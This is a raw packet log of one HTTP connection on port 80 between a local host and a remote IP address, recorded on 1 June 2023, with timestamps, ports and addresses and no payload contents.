Jun 1, 2023 12:14:30.728749990 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.728797913 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.728797913 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.728847980 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.728894949 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.728904009 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.728943110 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.728991985 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.728993893 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.729038954 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.729087114 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.729089975 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.729135990 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.729185104 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.777323961 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777368069 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777396917 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777426004 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777442932 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777468920 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777494907 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777518988 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.777523041 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777551889 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777574062 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.777574062 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.777580023 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777609110 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777636051 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777637959 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.777664900 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777683020 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.777693987 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777724028 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777740002 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.777751923 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777781963 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777800083 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.777808905 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777839899 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777853966 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.777868032 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777896881 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777916908 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.777924061 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777952909 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.777967930 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.777986050 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778023958 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778033018 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.778054953 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778080940 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778106928 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.778107882 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778137922 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778155088 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.778165102 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778193951 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778220892 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778225899 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.778247118 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778266907 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.778274059 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778301954 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778328896 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.778330088 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778359890 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778386116 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778407097 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.778412104 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778430939 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.778439999 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778466940 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778489113 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.778497934 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778526068 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778543949 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.778553963 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778580904 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778599024 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.778609037 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778644085 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778654099 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.778672934 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778698921 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778717995 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.778727055 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778753996 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778770924 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.778781891 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778810978 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778826952 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.778836966 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.778881073 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.896939993 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.896990061 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897022963 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897053957 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897077084 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.897083044 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897116899 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897123098 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.897151947 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897188902 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.897190094 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897223949 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897233963 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.897255898 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897281885 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897310972 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897322893 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.897344112 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897358894 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.897372961 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897404909 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897417068 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.897435904 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897490978 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897499084 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.897521019 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897547960 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897562981 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.897577047 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897608042 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897619009 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.897639036 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897665977 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897684097 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.897692919 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897723913 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897742033 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.897751093 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897782087 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897795916 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.897811890 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897839069 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897850990 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.897867918 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897893906 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897913933 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.897922993 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897950888 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.897963047 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.897979021 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898010969 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898017883 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.898039103 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898066044 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898078918 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.898096085 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898122072 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898135900 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.898149014 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898176908 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898190022 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.898204088 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898231030 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898242950 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.898257971 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898283005 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898298979 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.898312092 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898339033 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898350954 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.898365021 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898390055 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898402929 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.898416042 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898442030 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898464918 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.898468018 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898498058 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898524046 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898525000 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.898550987 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898565054 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.898577929 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898606062 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898619890 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.898636103 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898663998 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898673058 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.898694992 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898722887 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898737907 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.898751974 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898780107 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898792028 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.898809910 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898837090 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898849010 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.898865938 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898893118 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898906946 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.898922920 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898948908 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.898972034 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.898976088 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899029970 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899058104 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899081945 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.899085045 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899121046 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899123907 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.899151087 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899163961 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.899183035 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899213076 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899224997 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.899243116 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899271965 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899285078 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.899300098 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899328947 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899342060 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.899363995 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899394989 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899408102 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.899425983 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899458885 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899472952 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.899491072 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899519920 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899534941 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.899549007 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899578094 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899590015 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.899609089 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899636984 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899647951 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.899667978 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899696112 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899708033 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.899724960 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899751902 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899768114 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.899780989 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.899821043 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.946655989 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.946722031 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.946755886 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.946784973 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.946787119 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.946815968 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.946827888 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.946847916 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.946877003 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.946886063 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.946906090 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.946935892 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.946944952 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.946965933 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.946994066 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947005033 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.947021961 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947050095 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947057962 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.947078943 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947108030 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947117090 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.947139025 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947169065 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947200060 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947215080 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.947232008 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947242975 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.947262049 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947289944 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947300911 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.947319031 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947350025 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947360039 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.947380066 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947410107 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947427988 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.947438955 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947468996 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947489977 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.947498083 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947519064 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.947530985 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947554111 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.947561026 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947592020 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947619915 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.947623014 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947654009 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947662115 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.947684050 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947717905 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947737932 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.947748899 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947781086 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947796106 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.947808981 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947837114 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947849035 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.947866917 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947887897 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947909117 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947910070 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.947925091 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947945118 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947966099 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.947985888 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.948007107 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.948010921 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.948028088 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.948049068 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.948067904 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.948069096 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.948091030 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.948092937 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.948112965 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.948118925 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.948134899 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.948157072 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:30.948178053 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:30.948221922 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:31.067734003 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.067805052 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.067854881 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.067890882 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:31.067904949 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.067949057 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:31.067965031 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.068017960 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.068058014 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:31.068068981 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.068119049 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.068164110 CEST	49695	80	192.168.2.4	203.175.174.69
Jun 1, 2023 12:14:31.068176985 CEST	80	49695	203.175.174.69	192.168.2.4
Jun 1, 2023 12:14:31.068227053 CEST	80	49695	203.175.174.69	192.168.2.4
